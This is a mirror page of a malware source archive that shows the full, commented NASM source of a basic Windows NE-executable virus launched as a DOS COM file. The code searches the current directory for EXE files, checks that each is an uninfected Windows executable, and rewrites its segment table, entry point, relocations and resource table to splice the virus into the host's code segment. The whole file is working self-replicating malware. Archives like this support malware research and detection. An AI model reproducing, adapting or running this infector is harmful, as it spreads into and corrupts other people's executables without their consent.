mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
688 lines
28 KiB
NASM
688 lines
28 KiB
NASM
|
;A Basic Windows-EXE infecting virus. Launched as a DOS COM file.
|
|||
|
|
|||
|
.model small
|
|||
|
|
|||
|
.code
|
|||
|
|
|||
|
;All code must be offset-relocatable.
|
|||
|
;All data is stored on the stack.
|
|||
|
|
|||
|
;Useful constants
|
|||
|
NEW_HDR_SIZE EQU 40H ;size of new EXE header
|
|||
|
|
|||
|
;The following are used to access data on the stack. The first 512 bytes are
|
|||
|
;a buffer for disk reads/writes.
|
|||
|
FILE_ID EQU 200H ;"*.EXE" constant
|
|||
|
ENTRYPT EQU 206H ;ip of virus start
|
|||
|
VIRSTART EQU 208H ;offset of virus start in cs
|
|||
|
NH_OFFSET EQU 20AH ;new EXE header offset from file start
|
|||
|
VIRSECS EQU 20CH ;size added to file, in sectors for virus
|
|||
|
INITSEC EQU 20EH ;initial cs location in file (sectors)
|
|||
|
RELOCS EQU 210H ;number of relocatables in initial cs
|
|||
|
LOG_SEC EQU 212H ;logical sector size for pgm
|
|||
|
CS_SIZE EQU 214H ;size of all data in code seg, including rels, not virus
|
|||
|
NEW_HDR EQU 216H ;new EXE header
|
|||
|
|
|||
|
;The following gives the size of the virus, in bytes
|
|||
|
VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS
|
|||
|
|
|||
|
ORG 100H
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
;This is the main virus routine. It simply finds a file to infect and infects
|
|||
|
;it, and then passes control to the host program. It resides in the first
|
|||
|
;segment of the host program, that is, the segment where control is initially
|
|||
|
;passed.
|
|||
|
|
|||
|
VIRUS:
|
|||
|
push ax ;save all registers
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
call VIR_START
|
|||
|
VIR_START:
|
|||
|
pop bx
|
|||
|
sub bx,3+6
|
|||
|
push bp ;save segments and bp
|
|||
|
push ds
|
|||
|
push es
|
|||
|
mov ax,ss ;all viral data is in stack segment
|
|||
|
mov ds,ax
|
|||
|
mov es,ax
|
|||
|
sub sp,512+128 ;data area
|
|||
|
mov bp,sp ;bp indexes data
|
|||
|
mov [bp+VIRSTART],bx ;save virus starting offset here
|
|||
|
call FIND_FILE ;find a viable file to infect
|
|||
|
jnz GOTO_HOST ;z set if a file was found
|
|||
|
call INFECT_FILE ;infect it if found
|
|||
|
GOTO_HOST:
|
|||
|
add sp,512+128
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
VIRUS_DONE:
|
|||
|
jmp HOST ;pass control to host program
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
;This routine searches for a file to infect. It looks for EXE files and then
|
|||
|
;checks them to see if they're uninfected, infectable Windows files. If a file
|
|||
|
;is found, this routine returns with Z set, with the file left open, and its
|
|||
|
;handle in the bx register. This FIND_FILE searches only the current directory.
|
|||
|
|
|||
|
FIND_FILE:
|
|||
|
mov di,bp ;first, put '*.EXE',0 on stack
|
|||
|
add di,FILE_ID ;at this location
|
|||
|
mov dx,di ;set dx up for search first
|
|||
|
mov ax,2E2AH ;*.
|
|||
|
stosw
|
|||
|
mov ax,5845H ;EX
|
|||
|
stosw
|
|||
|
mov ax,0045H ;E(0)
|
|||
|
stosw
|
|||
|
xor cx,cx ;file attribute
|
|||
|
mov ah,4EH ;search first
|
|||
|
int 21H
|
|||
|
FIND_LOOP:
|
|||
|
or al,al ;see if search successful
|
|||
|
jnz FIND_EXIT ;nope, exit with NZ set
|
|||
|
call FILE_OK ;see if it is infectable
|
|||
|
jz FIND_EXIT ;yes, get out with Z set
|
|||
|
mov ah,4FH ;no, search for next file
|
|||
|
int 21H
|
|||
|
jmp SHORT FIND_LOOP
|
|||
|
FIND_EXIT: ;pass control back to main routine
|
|||
|
ret
|
|||
|
|
|||
|
;This routine determines whether a file is ok to infect. The conditions for an
|
|||
|
;OK file are as follows:
|
|||
|
;
|
|||
|
; (1) It must be a Windows EXE file.
|
|||
|
; (2) There must be enough room in the initial code segment for it.
|
|||
|
; (3) The file must not be infected already.
|
|||
|
;
|
|||
|
;If the file is OK, this routine returns with Z set, the file open, and the
|
|||
|
;handle in bx. If the file is not OK, this routine returns with NZ set, and
|
|||
|
;it closes the file. This routine also sets up a number of important variables
|
|||
|
;as it snoops through the file. These are used by the infect routine later.
|
|||
|
FILE_OK:
|
|||
|
push ds
|
|||
|
push es ;save seg registers
|
|||
|
mov ah,2FH
|
|||
|
int 21H ;get current DTA address in es:bx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
pop ds ;exchange ds and es
|
|||
|
mov dx,bx ;put address in ds:dx
|
|||
|
add dx,30 ;set ds:dx to point to file name
|
|||
|
mov ah,3DH ;ok, now open the file
|
|||
|
mov al,01000010B ;flags, read/write, etc.
|
|||
|
int 21H
|
|||
|
pop es
|
|||
|
pop ds ;restore seg registers
|
|||
|
jnc FOK1 ;error on opening?
|
|||
|
jmp FOK_ERROR2 ;yes, exit now
|
|||
|
FOK1: mov bx,ax ;open ok, put handle in bx
|
|||
|
mov ah,3FH ;now read EXE header
|
|||
|
mov dx,bp ;ds:dx points to file buffer
|
|||
|
mov cx,40H ;read 40H bytes
|
|||
|
int 21H
|
|||
|
jc FN1 ;exit on error
|
|||
|
cmp [bp],5A4DH ;see if first 2 bytes are 'MZ'
|
|||
|
jnz FN1 ;nope, file not an EXE, exit
|
|||
|
cmp WORD PTR [bp+18H],40H ;see if reloc table is at 40H or more
|
|||
|
jc FN1 ;nope, it can't be a Windows EXE
|
|||
|
mov dx,[bp+3CH] ;ok, put offset to new header in dx
|
|||
|
mov [bp+NH_OFFSET],dx ;and save it here
|
|||
|
xor cx,cx
|
|||
|
mov ax,4200H ;now do a seek from start
|
|||
|
int 21H
|
|||
|
jc FN1
|
|||
|
mov ah,3FH
|
|||
|
mov cx,NEW_HDR_SIZE ;now read the new header
|
|||
|
mov dx,bp ;into memory
|
|||
|
add dx,NEW_HDR
|
|||
|
int 21H
|
|||
|
jc FN1 ;exit if there is an error
|
|||
|
cmp [bp+NEW_HDR],454EH ;see if this is 'NE' new header ID
|
|||
|
jnz FN1 ;nope, not a Windows EXE!
|
|||
|
mov al,[bp+36H+NEW_HDR] ;get target OS flags
|
|||
|
and al,2 ;see if target OS = windows
|
|||
|
jnz FOK2 ;ok, go on
|
|||
|
FN1: jmp FOK_ERROR1 ;else exit
|
|||
|
|
|||
|
;If we get here, then condition (1) is fulfilled.
|
|||
|
|
|||
|
FOK2: mov dx,[bp+16H+NEW_HDR] ;get initial cs
|
|||
|
call GET_SEG_ENTRY ;and read seg table entry into disk buf
|
|||
|
jc FOK_ERROR1
|
|||
|
mov ax,[bp+2] ;put segment length in ax
|
|||
|
add ax,VIRUS_SIZE ;add size of virus to it
|
|||
|
jc FOK_ERROR1 ;if we carry, there's not enough room
|
|||
|
;else we're clear on this count
|
|||
|
|
|||
|
;If we get here, then condition (2) is fulfilled.
|
|||
|
|
|||
|
mov cx,[bp+NEW_HDR+32H] ;logical sector alignment
|
|||
|
mov ax,1
|
|||
|
shl ax,cl ;ax=logical sector size
|
|||
|
mov cx,[bp] ;get logical-sector offset of start seg
|
|||
|
mul cx ;byte offset in dx:ax
|
|||
|
add ax,WORD PTR [bp+NEW_HDR+14H];add in ip of entry point
|
|||
|
adc dx,0
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax ;put entry point in cx:dx
|
|||
|
mov ax,4200H ;and seek from start of file
|
|||
|
int 21H
|
|||
|
jc FOK_ERROR1
|
|||
|
mov ah,3FH
|
|||
|
mov cx,20H ;read 32 bytes
|
|||
|
mov dx,bp
|
|||
|
int 21H ;into buffer
|
|||
|
jc FOK_ERROR1
|
|||
|
mov di,bp
|
|||
|
mov si,[bp+VIRSTART] ;get starting offset of virus in cs
|
|||
|
mov cx,10H ;compare 32 bytes
|
|||
|
FOK3: mov ax,cs:[si] ;of virus at cs
|
|||
|
add si,2
|
|||
|
add di,2
|
|||
|
cmp ax,[di-2] ;with code in buffer
|
|||
|
loopz FOK3
|
|||
|
jz FOK_ERROR1 ;already there, exit not ok
|
|||
|
|
|||
|
;If we get here, then condition (3) is fulfilled, all systems go!
|
|||
|
|
|||
|
xor al,al ;set Z flag
|
|||
|
ret ;and exit
|
|||
|
|
|||
|
FOK_ERROR1:
|
|||
|
mov ah,3EH ;close file before exiting
|
|||
|
int 21H
|
|||
|
FOK_ERROR2:
|
|||
|
mov al,1
|
|||
|
or al,al ;set NZ
|
|||
|
ret ;and return to caller
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
;This routine modifies the file we found to put the virus in it. There are a
|
|||
|
;number of steps in the infection process, as follows:
|
|||
|
; 1) We have to modify the segment table. For the initial segment, this
|
|||
|
; involves (a) increasing the segment size by the size of the virus,
|
|||
|
; and (b) increase the minimum allocation size of the segment, if it
|
|||
|
; needs it. Every segment AFTER this initial segment must also be
|
|||
|
; adjusted by adding the size increase, in sectors, of the virus
|
|||
|
; to it.
|
|||
|
; 2) We have to change the starting ip in the new header. The virus is
|
|||
|
; placed after the host code in this segment, so the new ip will be
|
|||
|
; the old segment size.
|
|||
|
; 3) We have to move all sectors in the file after the initial code segment
|
|||
|
; out by VIRSECS, the size of the virus in sectors.
|
|||
|
; 4) We have to move the relocatables, if any, at the end of the code
|
|||
|
; segment we are infecting, to make room for the virus code
|
|||
|
; 5) We must move the virus code into the code segment we are infecting.
|
|||
|
; 6) We must adjust the jump in the virus to go to the original entry point.
|
|||
|
; 7) We must adjust the resource offsets in the resource table to reflect
|
|||
|
; their new locations.
|
|||
|
; 8) We have to kill the fast-load area.
|
|||
|
;
|
|||
|
INFECT_FILE:
|
|||
|
mov dx,[bp+NEW_HDR+24H] ;get resource table @
|
|||
|
add dx,[bp+NH_OFFSET]
|
|||
|
xor cx,cx
|
|||
|
mov ax,4200H
|
|||
|
int 21H
|
|||
|
mov dx,bp
|
|||
|
add dx,LOG_SEC ;read logical sector size
|
|||
|
mov ah,3FH
|
|||
|
mov cx,2
|
|||
|
int 21H
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mov ax,1
|
|||
|
shl ax,cl
|
|||
|
mov [bp+LOG_SEC],ax ;put logical sector size here
|
|||
|
|
|||
|
mov ax,[bp+NEW_HDR+14H] ;save old entry point
|
|||
|
mov [bp+ENTRYPT],ax ;for future use
|
|||
|
|
|||
|
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
|
|||
|
call GET_SEG_ENTRY ;for initial cs
|
|||
|
|
|||
|
mov ax,[bp] ;get location of this seg in file
|
|||
|
mov [bp+INITSEC],ax ;save that here
|
|||
|
mov ax,[bp+2] ;get segment size
|
|||
|
mov [bp+NEW_HDR+14H],ax ;update entry ip in new header in ram
|
|||
|
call SET_RELOCS ;set up RELOCS and CS_SIZE
|
|||
|
|
|||
|
mov ax,VIRUS_SIZE ;now calculate added size of segment
|
|||
|
add ax,[bp+CS_SIZE] ;ax=total new size
|
|||
|
xor dx,dx
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
div cx ;ax=full sectors in cs with virus
|
|||
|
or dx,dx ;any remainder?
|
|||
|
jz INF05
|
|||
|
inc ax ;adjust for partially full sector
|
|||
|
INF05: push ax
|
|||
|
mov ax,[bp+CS_SIZE] ;size without virus
|
|||
|
xor dx,dx
|
|||
|
div cx
|
|||
|
or dx,dx
|
|||
|
jz INF07
|
|||
|
inc ax
|
|||
|
INF07: pop cx
|
|||
|
sub cx,ax ;cx=number of secs needed for virus
|
|||
|
mov [bp+VIRSECS],cx ;save this here
|
|||
|
|
|||
|
call UPDATE_SEG_TBL ;perform mods in (1) above on file
|
|||
|
|
|||
|
mov ax,4200H ;now move file pointer to new header
|
|||
|
mov dx,[bp+NH_OFFSET]
|
|||
|
xor cx,cx
|
|||
|
int 21H
|
|||
|
|
|||
|
lea di,[bp+NEW_HDR+37H] ;zero out fast load area
|
|||
|
xor ax,ax
|
|||
|
stosb
|
|||
|
stosw
|
|||
|
stosw ;(8) completed
|
|||
|
mov ah,40H ;and update new header in file
|
|||
|
mov dx,bp ;(we updated the entry point above)
|
|||
|
add dx,NEW_HDR
|
|||
|
mov cx,NEW_HDR_SIZE
|
|||
|
int 21H ;mods in (2) above now complete
|
|||
|
|
|||
|
call MOVE_END_OUT ;move end of virus out by VIRSECS (3)
|
|||
|
;also sets up RELOCS count
|
|||
|
cmp WORD PTR [bp+RELOCS],0 ;any relocatables in cs?
|
|||
|
jz INF1 ;nope, don't need to relocate them
|
|||
|
call RELOCATE_RELOCS ;relocate relocatables in cs (4)
|
|||
|
INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6)
|
|||
|
call UPDATE_RES_TABLE ;update resource table entries
|
|||
|
|
|||
|
mov ah,3EH ;close the file now
|
|||
|
int 21H ;all done infecting!
|
|||
|
|
|||
|
; mov ah,2FH ;report file name infected
|
|||
|
; int 21H ;for DOS-based debugging purposes
|
|||
|
; push es ;only!
|
|||
|
; pop ds
|
|||
|
; add bx,30
|
|||
|
; mov dx,bx
|
|||
|
;ZLP: mov al,[bx]
|
|||
|
; or al,al
|
|||
|
; jz ZLP1
|
|||
|
; inc bx
|
|||
|
; jmp ZLP
|
|||
|
;ZLP1: mov BYTE PTR [bx],'$'
|
|||
|
; mov ah,9
|
|||
|
; int 21H
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
;The following procedure updates the Segment Table entries per item (1) in
|
|||
|
;INFECT_FILE.
|
|||
|
UPDATE_SEG_TBL:
|
|||
|
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
|
|||
|
call GET_SEG_ENTRY ;for initial cs
|
|||
|
mov ax,[bp+2] ;get seg size
|
|||
|
add ax,VIRUS_SIZE ;add the size of the virus to seg size
|
|||
|
mov [bp+2],ax ;and update size in seg table
|
|||
|
|
|||
|
mov ax,[bp+6] ;get min allocation size of segment
|
|||
|
or ax,ax ;is it 64K?
|
|||
|
jz US2 ;yes, leave it alone
|
|||
|
US1: add ax,VIRUS_SIZE ;add virus size on
|
|||
|
jnc US2 ;no overflow, go and update
|
|||
|
xor ax,ax ;else set size = 64K
|
|||
|
US2: mov [bp+6],ax ;update size in table in ram
|
|||
|
|
|||
|
mov ax,4201H
|
|||
|
mov cx,0FFFFH
|
|||
|
mov dx,-8
|
|||
|
int 21H ;back up to location of seg table entry
|
|||
|
|
|||
|
mov ah,40H ;and write modified seg table entry
|
|||
|
mov dx,bp ;for initial cs to segment table
|
|||
|
mov cx,8
|
|||
|
int 21H ;ok, init cs seg table entry is modified
|
|||
|
|
|||
|
mov di,[bp+NEW_HDR+1CH] ;get number of segment table entries
|
|||
|
|
|||
|
US3: push di ;save table entry counter
|
|||
|
mov dx,di ;dx=seg table entry # to read
|
|||
|
call GET_SEG_ENTRY ;read it into disk buffer
|
|||
|
|
|||
|
mov ax,[bp] ;get offset of this segment in file
|
|||
|
cmp ax,[bp+INITSEC] ;higher than initial code segment?
|
|||
|
jle US4 ;nope, don't adjust
|
|||
|
add ax,[bp+VIRSECS] ;yes, add the size of virus in
|
|||
|
US4: mov [bp],ax ;adjust segment loc in memory
|
|||
|
|
|||
|
mov ax,4201H
|
|||
|
mov cx,0FFFFH
|
|||
|
mov dx,-8
|
|||
|
int 21H ;back up to location of seg table entry
|
|||
|
|
|||
|
mov ah,40H ;and write modified seg table entry
|
|||
|
mov dx,bp
|
|||
|
mov cx,8
|
|||
|
int 21H
|
|||
|
pop di ;restore table entry counter
|
|||
|
dec di
|
|||
|
jnz US3 ;and loop until all segments done
|
|||
|
|
|||
|
ret ;all done
|
|||
|
|
|||
|
;This routine goes to the segment table entry number specified in dx in the
|
|||
|
;file and reads it into the disk buffer. dx=1 is the first entry!
|
|||
|
GET_SEG_ENTRY:
|
|||
|
mov ax,4200H ;seek in file
|
|||
|
dec dx
|
|||
|
mov cl,3
|
|||
|
shl dx,cl
|
|||
|
add dx,[bp+NH_OFFSET]
|
|||
|
add dx,[bp+NEW_HDR+22H] ;dx=ofs of seg table entry requested
|
|||
|
xor cx,cx ; in the file
|
|||
|
int 21H ;go to specified table entry
|
|||
|
jc GSE1 ;exit on error
|
|||
|
|
|||
|
mov ah,3FH ;read table entry into disk buf
|
|||
|
mov dx,bp
|
|||
|
mov cx,8
|
|||
|
int 21H
|
|||
|
GSE1: ret
|
|||
|
|
|||
|
;This routine moves the end of the virus out by VIRSECS. The "end" is
|
|||
|
;everything after the initial code segment where the virus will live.
|
|||
|
;The variable VIRSECS is assumed to be properly set up before this is called.
|
|||
|
;This routine also sets up the RELOCS variable.
|
|||
|
MOVE_END_OUT:
|
|||
|
mov ax,[bp+CS_SIZE] ;size of cs in bytes
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
xor dx,dx
|
|||
|
div cx
|
|||
|
or dx,dx
|
|||
|
jz ME01
|
|||
|
inc ax
|
|||
|
ME01: add ax,[bp+INITSEC] ;ax=next sector after cs
|
|||
|
push ax
|
|||
|
|
|||
|
xor dx,dx
|
|||
|
xor cx,cx
|
|||
|
mov ax,4202H ;seek end of file
|
|||
|
int 21H ;returns dx:ax = file size
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
div cx ;ax=sectors in file
|
|||
|
mov si,ax ;keep it here
|
|||
|
pop di ;last sector after code segment
|
|||
|
dec di
|
|||
|
MEO2: push si
|
|||
|
push di
|
|||
|
call MOVE_SECTOR ;move sector number si out
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
dec si
|
|||
|
cmp si,di
|
|||
|
jnz MEO2 ;and loop until all moved
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
;This routine moves a single sector from SI to SI+VIRSECS
|
|||
|
MOVE_SECTOR:
|
|||
|
mov ax,si
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mul cx
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
mov ax,4200H
|
|||
|
int 21H ;seek sector si
|
|||
|
|
|||
|
mov ah,3FH ;and read it
|
|||
|
mov dx,bp
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
int 21H
|
|||
|
|
|||
|
mov ax,[bp+VIRSECS]
|
|||
|
dec ax ;calculate new, relative file ptr
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mul cx
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
mov ax,4201H
|
|||
|
int 21H ;and move there
|
|||
|
|
|||
|
mov ah,40H
|
|||
|
mov dx,bp
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
int 21H ;and write sector there
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
;This routine simply sets the variable RELOCS and CS_SIZE variables in memory.
|
|||
|
SET_RELOCS:
|
|||
|
mov WORD PTR [bp+RELOCS],0
|
|||
|
mov dx,[bp+NEW_HDR+16H] ;read init cs seg table entry
|
|||
|
call GET_SEG_ENTRY
|
|||
|
mov ax,[bp+4] ;get segment flags
|
|||
|
xor dx,dx
|
|||
|
and ah,1 ;check for relocation data
|
|||
|
mov ax,[bp+NEW_HDR+14H] ;size of segment is this
|
|||
|
jz SRE ;no data, continue
|
|||
|
push ax
|
|||
|
push ax ;there is relocation data, how much?
|
|||
|
mov ax,[bp+INITSEC] ;find end of code in file
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mul cx ;dx:ax = start of cs in file
|
|||
|
pop cx ;cx = size of code
|
|||
|
add ax,cx
|
|||
|
adc dx,0
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax ;cx:dx=end of cs in file
|
|||
|
mov ax,4200H ;so go seek it
|
|||
|
int 21H
|
|||
|
mov ah,3FH ;and read 2 byte count of relocatables
|
|||
|
mov dx,bp
|
|||
|
mov cx,2
|
|||
|
int 21H
|
|||
|
mov ax,[bp]
|
|||
|
mov [bp+RELOCS],ax ;save count here
|
|||
|
mov cl,3
|
|||
|
shl ax,cl
|
|||
|
add ax,2 ;size of relocation data
|
|||
|
pop cx ;size of code in segment
|
|||
|
xor dx,dx
|
|||
|
add ax,cx ;total size of segment
|
|||
|
adc dx,0
|
|||
|
SRE: mov [bp+CS_SIZE],ax ;save it here
|
|||
|
ret
|
|||
|
|
|||
|
;This routine relocates the relocatables at the end of the initial code
|
|||
|
;segment to make room for the virus. It will move any number of relocation
|
|||
|
;records, each of which is 8 bytes long.
|
|||
|
RELOCATE_RELOCS:
|
|||
|
mov ax,[bp+RELOCS] ;number of relocatables
|
|||
|
mov cl,3
|
|||
|
shl ax,cl
|
|||
|
add ax,2 ;ax=total number of bytes to move
|
|||
|
push ax
|
|||
|
|
|||
|
mov ax,[bp+INITSEC]
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mul cx ;dx:ax = start of cs in file
|
|||
|
add ax,[bp+NEW_HDR+14H]
|
|||
|
adc dx,0 ;dx:ax = end of cs in file
|
|||
|
pop cx ;cx = size of relocatables
|
|||
|
add ax,cx
|
|||
|
adc dx,0 ;dx:ax = end of code+relocatables
|
|||
|
xchg ax,cx
|
|||
|
xchg dx,cx ;ax=size cx:dx=location
|
|||
|
|
|||
|
RR_LP: push cx
|
|||
|
push dx
|
|||
|
push ax
|
|||
|
cmp ax,512
|
|||
|
jle RR1
|
|||
|
mov ax,512 ;read up to 512 bytes
|
|||
|
RR1: sub dx,ax ;back up file pointer
|
|||
|
sbb cx,0
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ax
|
|||
|
mov ax,4200H ;seek desired location in file
|
|||
|
int 21H
|
|||
|
pop cx
|
|||
|
mov ah,3FH
|
|||
|
mov dx,bp
|
|||
|
int 21H ;read needed number of bytes, # in ax
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
push ax ;save # of bytes read
|
|||
|
add dx,VIRUS_SIZE ;move file pointer up now
|
|||
|
adc cx,0
|
|||
|
mov ax,4200H
|
|||
|
int 21H
|
|||
|
pop cx ;bytes to write
|
|||
|
mov ah,40H
|
|||
|
mov dx,bp
|
|||
|
int 21H ;write them to new location
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
cmp ax,512 ;less than 512 bytes to write?
|
|||
|
jle RRE ;yes, we're all done
|
|||
|
sub ax,512 ;nope, adjust indicies
|
|||
|
sub dx,512
|
|||
|
sbb cx,0
|
|||
|
jmp RR_LP ;and go do another
|
|||
|
|
|||
|
RRE: ret
|
|||
|
|
|||
|
;This routine writes the virus code itself into the code segment being infected.
|
|||
|
;It also updates the jump which exits the virus so that it points to the old
|
|||
|
;entry point in this segment. The only trick is that we can't write directly
|
|||
|
;from cs since we can't just set ds=cs in windows or you get a fault. Thus
|
|||
|
;we move the virus to the disk buffer and then write from there.
|
|||
|
WRITE_VIRUS_CODE:
|
|||
|
mov ax,[bp+INITSEC] ;sectors to code segment
|
|||
|
mov cx,[bp+LOG_SEC]
|
|||
|
mul cx ;dx:ax = location of code seg
|
|||
|
add ax,[bp+NEW_HDR+14H]
|
|||
|
adc dx,0 ;dx:ax = place to put virus
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
push cx
|
|||
|
push dx ;save these to adjust jump
|
|||
|
mov ax,4200H ;seek there
|
|||
|
int 21H
|
|||
|
mov si,[bp+VIRSTART] ;si=start of virus
|
|||
|
mov cx,VIRUS_SIZE ;cx=size of virus
|
|||
|
WVCLP: push cx
|
|||
|
cmp cx,512 ;512 bytes maximum allowed per write
|
|||
|
jle WVC1
|
|||
|
mov cx,512
|
|||
|
WVC1: push cx
|
|||
|
mov di,bp ;now move virus to disk buffer
|
|||
|
WCV2: mov al,cs:[si] ;get a byte from cs
|
|||
|
inc si
|
|||
|
stosb ;and save to disk buffer
|
|||
|
loop WCV2 ;repeat until done
|
|||
|
pop cx ;now write cx bytes to the file
|
|||
|
mov dx,bp
|
|||
|
mov ah,40H
|
|||
|
int 21H
|
|||
|
pop cx ;done writing,
|
|||
|
cmp cx,512 ;did we have more than 512 bytes?
|
|||
|
jle WVC3 ;nope, all done writing
|
|||
|
sub cx,512 ;else subtract 512
|
|||
|
jmp WVCLP ;and do another
|
|||
|
|
|||
|
WVC3: pop dx ;ok, now we have to update the jump
|
|||
|
pop cx ;to the host
|
|||
|
mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS
|
|||
|
inc ax
|
|||
|
add dx,ax
|
|||
|
adc cx,0 ;cx:dx=location to update
|
|||
|
push ax
|
|||
|
mov ax,4200H ;go there
|
|||
|
int 21H
|
|||
|
pop ax
|
|||
|
inc ax
|
|||
|
inc ax
|
|||
|
add ax,[bp+NEW_HDR+14H] ;ax=offset of instr after jump
|
|||
|
sub ax,[bp+ENTRYPT] ;ax=distance to jump
|
|||
|
neg ax ;make it a negative number
|
|||
|
mov [bp],ax ;save it here
|
|||
|
mov ah,40H ;and write it to disk
|
|||
|
mov cx,2
|
|||
|
mov dx,bp
|
|||
|
int 21H ;all done
|
|||
|
ret
|
|||
|
|
|||
|
;Update the resource table so sector pointers are right.
|
|||
|
UPDATE_RES_TABLE:
|
|||
|
mov dx,[bp+NEW_HDR+24H] ;move to resource table in EXE
|
|||
|
add dx,[bp+NH_OFFSET]
|
|||
|
add dx,2
|
|||
|
xor cx,cx
|
|||
|
mov ax,4200H
|
|||
|
int 21H
|
|||
|
URT1:
|
|||
|
mov ah,3FH ;read 8 byte typeinfo record
|
|||
|
mov dx,bp
|
|||
|
mov cx,8
|
|||
|
int 21H
|
|||
|
cmp WORD PTR [bp],0 ;is type ID 0?
|
|||
|
jz URTE ;yes, all done
|
|||
|
|
|||
|
mov cx,[bp+2] ;get count of nameinfo records to read
|
|||
|
|
|||
|
URT2: push cx
|
|||
|
mov ah,3FH ;read 1 nameinfo record
|
|||
|
mov dx,bp
|
|||
|
mov cx,12
|
|||
|
int 21H
|
|||
|
|
|||
|
mov ax,[bp] ;get offset of resource
|
|||
|
cmp ax,[bp+INITSEC] ;greater than initial cs location?
|
|||
|
jle URT3 ;nope, don't worry about it
|
|||
|
add ax,[bp+VIRSECS] ;add size of virus
|
|||
|
mov [bp],ax
|
|||
|
|
|||
|
mov ax,4201H ;now back file pointer up
|
|||
|
mov dx,-12
|
|||
|
mov cx,0FFFFH
|
|||
|
int 21H
|
|||
|
mov ah,40H ;and write updated resource rec to
|
|||
|
mov dx,bp ;the file
|
|||
|
mov cx,12
|
|||
|
int 21H
|
|||
|
|
|||
|
URT3:
|
|||
|
pop cx
|
|||
|
dec cx ;read until all nameinfo records for
|
|||
|
jnz URT2 ;this typeinfo are done
|
|||
|
|
|||
|
jmp URT1 ;go get another typeinfo record
|
|||
|
|
|||
|
|
|||
|
URTE: ret
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
END_VIRUS: ;label for the end of the windows virus
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
;The following HOST is only here for the DOS-based loader. Once this infects
|
|||
|
;a windows file, the virus will jump to the startup code for the program it
|
|||
|
;is attached to.
|
|||
|
HOST: mov ax,4C00H
|
|||
|
int 21H
|
|||
|
|
|||
|
END VIRUS
|
|||
|
|